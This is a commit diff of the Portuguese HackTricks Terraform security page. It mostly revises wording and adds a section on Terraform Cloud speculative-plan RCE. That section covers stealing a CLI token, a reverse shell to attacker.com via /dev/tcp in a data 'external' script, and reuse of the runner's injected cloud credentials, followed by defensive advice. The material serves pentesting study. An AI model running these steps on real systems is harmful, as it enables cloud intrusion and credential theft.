mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md'] to pt
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Dos docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
[Dos documentos:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS.
|
||||
|
||||
@@ -14,7 +14,7 @@ O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços
|
||||
|
||||
.png>)
|
||||
|
||||
A HashiCorp e a comunidade Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais.
|
||||
A HashiCorp e a comunidade do Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais.
|
||||
|
||||
O fluxo de trabalho central do Terraform consiste em três etapas:
|
||||
|
||||
@@ -32,13 +32,13 @@ Aqui você tem um [guia](https://learn.hashicorp.com/tutorials/terraform/install
|
||||
|
||||
## RCE no Terraform: envenenamento de arquivo de configuração
|
||||
|
||||
O Terraform **não tem uma plataforma que exponha uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o arquivo de estado do terraform** (veja o capítulo abaixo).
|
||||
O Terraform **não possui uma plataforma que exponha uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o arquivo de estado do terraform** (veja o capítulo abaixo).
|
||||
|
||||
No entanto, o terraform é um **componente muito sensível** a comprometer porque terá **acesso privilegiado** a diferentes locais para que possa funcionar corretamente.
|
||||
|
||||
A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**.
|
||||
|
||||
Na verdade, existem soluções que **executam terraform plan/apply automaticamente após a criação de um PR**, como **Atlantis**:
|
||||
Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
@@ -81,7 +81,7 @@ Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-c
|
||||
|
||||
**Usando uma referência externa**
|
||||
|
||||
Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma **maneira mais discreta**, seguindo estas sugestões:
|
||||
Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões:
|
||||
|
||||
- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell:
|
||||
```javascript
|
||||
@@ -176,9 +176,9 @@ Porque o terraform verá que o recurso não deveria existir, ele o destruirá (s
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Modifique o recurso para deletar de uma maneira que não seja possível atualizar (para que ele seja deletado e recriado)**
|
||||
2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)**
|
||||
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform deletar e recriá-la.
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.
|
||||
|
||||
### Substituir provedor na lista negra
|
||||
|
||||
@@ -199,6 +199,79 @@ data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE e exfiltração de credenciais
|
||||
|
||||
Este cenário explora os runners do Terraform Cloud (TFC) durante planos especulativos para pivotar na conta de nuvem alvo.
|
||||
|
||||
- Pré-condições:
|
||||
- Roubar um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em texto simples em `~/.terraform.d/credentials.tfrc.json`.
|
||||
- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces suportados por VCS bloqueiam `apply` do CLI, mas ainda permitem planos especulativos.
|
||||
|
||||
- Descobrir configurações de workspace e VCS via a API do TFC:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Acionar a execução de código durante um plano especulativo usando a fonte de dados externa e o bloco "cloud" do Terraform Cloud para direcionar o workspace baseado em VCS:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Exemplo de rsync.sh para obter um shell reverso no runner TFC:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Execute um plano especulativo para executar o programa no runner efêmero:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Enumere e exfiltre credenciais de nuvem injetadas do runner. Durante as execuções, o TFC injeta credenciais de provedor por meio de arquivos e variáveis de ambiente:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Arquivos esperados no diretório de trabalho do runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (configuração JSON de Federação de Identidade de Carga de Trabalho)
|
||||
- `tfc-gcp-token` (token de acesso GCP de curta duração)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (configuração de suposição de função de identidade web/OIDC)
|
||||
- `tfc-aws-token` (token de curta duração; algumas organizações podem usar chaves estáticas)
|
||||
|
||||
- Use as credenciais de curta duração fora de banda para contornar os portões do VCS:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
AWS (AWS CLI):
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Com essas credenciais, os atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativas, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS.
|
||||
|
||||
- Orientações defensivas:
|
||||
- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite as associações e evite proprietários excessivos.
|
||||
- Restringa a permissão de `plan` em workspaces sensíveis suportados por VCS, quando viável.
|
||||
- Aplique listas de permissão de provedores/fontes de dados com políticas do Sentinel para bloquear `data "external"` ou provedores desconhecidos. Veja a orientação da HashiCorp sobre filtragem de provedores.
|
||||
- Prefira OIDC/WIF em vez de credenciais de nuvem estáticas; trate runners como sensíveis. Monitore execuções de planos especulativos e egressos inesperados.
|
||||
- Detecte a exfiltração de artefatos de credenciais `tfc-*` e alerte sobre o uso suspeito de programas `external` durante os planos.
|
||||
|
||||
## Ferramentas de Auditoria Automática
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
@@ -208,7 +281,7 @@ Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code
|
||||
- **Recursos:**
|
||||
- Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
|
||||
- Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
|
||||
- Pull requests automáticas de correção.
|
||||
- Pull requests de correção automatizadas.
|
||||
- Conselhos detalhados de remediação.
|
||||
- **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -221,9 +294,9 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** é uma ferramenta de análise de código estático para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes de código aberto.
|
||||
|
||||
Ele escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.
|
||||
Ela escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.
|
||||
|
||||
Ele realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs).
|
||||
Ela realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes e imagens de código aberto para Vulnerabilidades e Exposições Comuns (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
@@ -236,11 +309,11 @@ Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-complianc
|
||||
- **desenvolvimento orientado a comportamento:** Temos BDD para quase tudo, por que não para IaC?
|
||||
- **portátil:** basta instalá-lo via `pip` ou executá-lo através do `docker`. Veja [Instalação](https://terraform-compliance.com/pages/installation/)
|
||||
- **pré-implantação:** valida seu código antes de ser implantado
|
||||
- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos do git) para garantir que todas as implantações sejam validadas.
|
||||
- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos git) para garantir que todas as implantações sejam validadas.
|
||||
- **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
|
||||
|
||||
> [!NOTE]
|
||||
> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá realizar o `terraform plan` e executar esta ferramenta.
|
||||
> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -278,7 +351,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você:
|
||||
|
||||
- Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas.
|
||||
- Monitore a infraestrutura em nuvem provisionada para alterações de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
|
||||
- Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
|
||||
- Detecte vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigue riscos antes de provisionar infraestrutura nativa em nuvem.
|
||||
- Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD.
|
||||
@@ -292,5 +365,13 @@ brew install terrascan
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user